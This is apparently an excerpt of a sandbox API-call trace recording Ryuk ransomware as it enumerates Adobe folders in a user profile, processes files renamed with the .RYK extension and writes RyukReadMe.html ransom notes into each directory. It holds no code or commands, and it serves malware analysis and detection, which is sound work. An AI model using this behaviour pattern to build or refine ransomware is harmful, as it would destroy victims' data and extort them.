	[0246.143] FindNextFileW (in: hFindFile=0x3ef850, lpFindFileData=0x18ea10 | out: lpFindFileData=0x18ea10*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0x74933560, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x8a42, dwReserved0=0x13c, dwReserved1=0x0, cFileName="AdobeCMapFnt10.lst.RYK", cAlternateFileName="ADOBEC~1.RYK")) returned 1
	[0246.143] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b10000
	[0246.144] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f48d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x42c
	[0246.145] VirtualFree (lpAddress=0x8b10000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0246.145] FindNextFileW (in: hFindFile=0x3ef850, lpFindFileData=0x18ea10 | out: lpFindFileData=0x18ea10*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0x74802a60, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x21df2, dwReserved0=0x13c, dwReserved1=0x0, cFileName="AdobeSysFnt10.lst.RYK", cAlternateFileName="ADOBES~1.RYK")) returned 1
	[0246.146] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b10000
	[0246.146] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f490870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x430
	[0246.204] VirtualFree (lpAddress=0x8b10000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0246.205] FindNextFileW (in: hFindFile=0x3ef850, lpFindFileData=0x18ea10 | out: lpFindFileData=0x18ea10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0x74c53240, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74c53240, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x13c, dwReserved1=0x0, cFileName="Cache", cAlternateFileName="")) returned 1
	[0246.205] SetLastError (dwErrCode=0x0) 
	[0246.205] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\adobe\\acrobat\\10.0\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x43c
	[0246.205] GetLastError () returned 0xb7
	[0246.205] CloseHandle (hObject=0x43c) returned 1
	[0246.205] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\Cache\\*.*", lpFindFileData=0x18e2e0 | out: lpFindFileData=0x18e2e0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0x74c53240, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74c53240, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x146, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef8b0
	[0246.205] FindNextFileW (in: hFindFile=0x3ef8b0, lpFindFileData=0x18e2e0 | out: lpFindFileData=0x18e2e0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0x74c53240, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74c53240, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x146, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0246.206] FindNextFileW (in: hFindFile=0x3ef8b0, lpFindFileData=0x18e2e0 | out: lpFindFileData=0x18e2e0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0x74a17da0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0xd0e2, dwReserved0=0x146, dwReserved1=0x0, cFileName="AcroFnt10.lst.RYK", cAlternateFileName="ACROFN~1.RYK")) returned 1
	[0246.206] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b10000
	[0246.206] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x440
	[0246.208] VirtualFree (lpAddress=0x8b10000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0246.208] FindNextFileW (in: hFindFile=0x3ef8b0, lpFindFileData=0x18e2e0 | out: lpFindFileData=0x18e2e0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x74790640, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x74790640, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74790640, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x146, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0246.208] FindNextFileW (in: hFindFile=0x3ef8b0, lpFindFileData=0x18e2e0 | out: lpFindFileData=0x18e2e0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x74790640, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x74790640, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74790640, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x146, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0246.208] FindClose (in: hFindFile=0x3ef8b0 | out: hFindFile=0x3ef8b0) returned 1
	[0246.209] SetLastError (dwErrCode=0x0) 
	[0246.209] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\Cache\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\adobe\\acrobat\\10.0\\cache\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x43c
	[0246.209] GetLastError () returned 0xb7
	[0246.209] CloseHandle (hObject=0x43c) returned 1
	[0246.210] FindNextFileW (in: hFindFile=0x3ef850, lpFindFileData=0x18ea10 | out: lpFindFileData=0x18ea10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x746399e0, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x746399e0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x746399e0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x13c, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0246.210] FindNextFileW (in: hFindFile=0x3ef850, lpFindFileData=0x18ea10 | out: lpFindFileData=0x18ea10*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd3b286a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd3b286a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x74b488a0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x1522, dwReserved0=0x13c, dwReserved1=0x0, cFileName="SharedDataEvents.RYK", cAlternateFileName="SHARED~1.RYK")) returned 1
	[0246.210] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b10000
	[0246.210] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x43c
	[0246.212] VirtualFree (lpAddress=0x8b10000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0246.212] FindNextFileW (in: hFindFile=0x3ef850, lpFindFileData=0x18ea10 | out: lpFindFileData=0x18ea10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd243f2e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd243f2e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x749cbae0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x12fc2, dwReserved0=0x13c, dwReserved1=0x0, cFileName="UserCache.bin.RYK", cAlternateFileName="USERCA~1.RYK")) returned 1
	[0246.212] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b10000
	[0246.213] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x444
	[0246.214] VirtualFree (lpAddress=0x8b10000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0246.215] FindNextFileW (in: hFindFile=0x3ef850, lpFindFileData=0x18ea10 | out: lpFindFileData=0x18ea10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd243f2e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd243f2e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x749cbae0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x12fc2, dwReserved0=0x13c, dwReserved1=0x0, cFileName="UserCache.bin.RYK", cAlternateFileName="USERCA~1.RYK")) returned 0
	[0246.215] FindClose (in: hFindFile=0x3ef850 | out: hFindFile=0x3ef850) returned 1
	[0246.215] SetLastError (dwErrCode=0x0) 
	[0246.215] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\adobe\\acrobat\\10.0\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x428
	[0246.216] GetLastError () returned 0xb7
	[0246.216] CloseHandle (hObject=0x428) returned 1
	[0246.216] FindNextFileW (in: hFindFile=0x3ef7f0, lpFindFileData=0x18f140 | out: lpFindFileData=0x18f140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x74613880, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x74613880, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x746399e0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x12c, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0246.216] FindNextFileW (in: hFindFile=0x3ef7f0, lpFindFileData=0x18f140 | out: lpFindFileData=0x18f140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x74613880, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x74613880, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x746399e0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x12c, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0246.216] FindClose (in: hFindFile=0x3ef7f0 | out: hFindFile=0x3ef7f0) returned 1
	[0246.216] SetLastError (dwErrCode=0x0) 
	[0246.216] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\adobe\\acrobat\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x41c
	[0246.216] GetLastError () returned 0xb7
	[0246.216] CloseHandle (hObject=0x41c) returned 1
	[0246.216] FindNextFileW (in: hFindFile=0x3ef790, lpFindFileData=0x18f870 | out: lpFindFileData=0x18f870*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x74df6160, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74df6160, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x120, dwReserved1=0x0, cFileName="Color", cAlternateFileName="")) returned 1
	[0246.217] SetLastError (dwErrCode=0x0) 
	[0246.217] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\adobe\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x41c
	[0246.217] GetLastError () returned 0xb7
	[0246.217] CloseHandle (hObject=0x41c) returned 1
	[0246.217] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\*.*", lpFindFileData=0x18f140 | out: lpFindFileData=0x18f140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x74df6160, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74df6160, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x12c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef7f0
	[0246.217] FindNextFileW (in: hFindFile=0x3ef7f0, lpFindFileData=0x18f140 | out: lpFindFileData=0x18f140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x74df6160, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74df6160, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x12c, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0246.217] FindNextFileW (in: hFindFile=0x3ef7f0, lpFindFileData=0x18f140 | out: lpFindFileData=0x18f140*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce60f420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce60f420, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x74c793a0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x12c, dwReserved1=0x0, cFileName="ACECache11.lst.RYK", cAlternateFileName="ACECAC~1.RYK")) returned 1
	[0246.217] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b10000
	[0246.218] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x428
	[0246.219] VirtualFree (lpAddress=0x8b10000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0246.220] FindNextFileW (in: hFindFile=0x3ef7f0, lpFindFileData=0x18f140 | out: lpFindFileData=0x18f140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xce4463a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x74f00b00, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74f00b00, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x12c, dwReserved1=0x0, cFileName="Profiles", cAlternateFileName="")) returned 1
	[0246.220] SetLastError (dwErrCode=0x0) 
	[0246.220] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\adobe\\color\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x448
	[0246.220] GetLastError () returned 0xb7
	[0246.220] CloseHandle (hObject=0x448) returned 1
	[0246.220] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\*.*", lpFindFileData=0x18ea10 | out: lpFindFileData=0x18ea10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xce4463a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x74f00b00, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74f00b00, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x138, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef850
	[0246.220] FindNextFileW (in: hFindFile=0x3ef850, lpFindFileData=0x18ea10 | out: lpFindFileData=0x18ea10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xce4463a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x74f00b00, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74f00b00, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x138, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0246.221] FindNextFileW (in: hFindFile=0x3ef850, lpFindFileData=0x18ea10 | out: lpFindFileData=0x18ea10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x747b67a0, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x747b67a0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x747b67a0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x138, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0246.221] FindNextFileW (in: hFindFile=0x3ef850, lpFindFileData=0x18ea10 | out: lpFindFileData=0x18ea10*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce60f420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce6f3c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x74eb4840, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x103c2, dwReserved0=0x138, dwReserved1=0x0, cFileName="wscRGB.icc.RYK", cAlternateFileName="WSCRGB~1.RYK")) returned 1
	[0246.221] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b10000
	[0246.221] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f482cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x44c
	[0246.223] VirtualFree (lpAddress=0x8b10000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0246.224] FindNextFileW (in: hFindFile=0x3ef850, lpFindFileData=0x18ea10 | out: lpFindFileData=0x18ea10*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce60f420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce6f3c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x74e42420, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0xb92, dwReserved0=0x138, dwReserved1=0x0, cFileName="wsRGB.icc.RYK", cAlternateFileName="WSRGBI~1.RYK")) returned 1
	[0246.224] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b10000
	[0246.224] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4863d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x450
	[0246.226] VirtualFree (lpAddress=0x8b10000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0246.227] FindNextFileW (in: hFindFile=0x3ef850, lpFindFileData=0x18ea10 | out: lpFindFileData=0x18ea10*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce60f420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce6f3c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x74e42420, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0xb92, dwReserved0=0x138, dwReserved1=0x0, cFileName="wsRGB.icc.RYK", cAlternateFileName="WSRGBI~1.RYK")) returned 0
	[0246.227] FindClose (in: hFindFile=0x3ef850 | out: hFindFile=0x3ef850) returned 1
	[0246.227] SetLastError (dwErrCode=0x0) 
	[0246.227] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\adobe\\color\\profiles\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x448
	[0246.227] GetLastError () returned 0xb7
	[0246.227] CloseHandle (hObject=0x448) returned 1
	[0246.227] FindNextFileW (in: hFindFile=0x3ef7f0, lpFindFileData=0x18f140 | out: lpFindFileData=0x18f140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x74790640, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x74790640, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74790640, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x12c, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0246.227] FindNextFileW (in: hFindFile=0x3ef7f0, lpFindFileData=0x18f140 | out: lpFindFileData=0x18f140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x74790640, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x74790640, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74790640, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x12c, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0246.228] FindClose (in: hFindFile=0x3ef7f0 | out: hFindFile=0x3ef7f0) returned 1
	[0246.228] SetLastError (dwErrCode=0x0) 
	[0246.228] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\adobe\\color\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x41c
	[0246.228] GetLastError () returned 0xb7
	[0246.228] CloseHandle (hObject=0x41c) returned 1
	[0246.228] FindNextFileW (in: hFindFile=0x3ef790, lpFindFileData=0x18f870 | out: lpFindFileData=0x18f870*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x74613880, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x74613880, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74613880, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x120, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0246.228] FindNextFileW (in: hFindFile=0x3ef790, lpFindFileData=0x18f870 | out: lpFindFileData=0x18f870*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x74613880, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x74613880, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74613880, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x120, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0246.228] FindClose (in: hFindFile=0x3ef790 | out: hFindFile=0x3ef790) returned 1
	[0246.229] SetLastError (dwErrCode=0x0) 
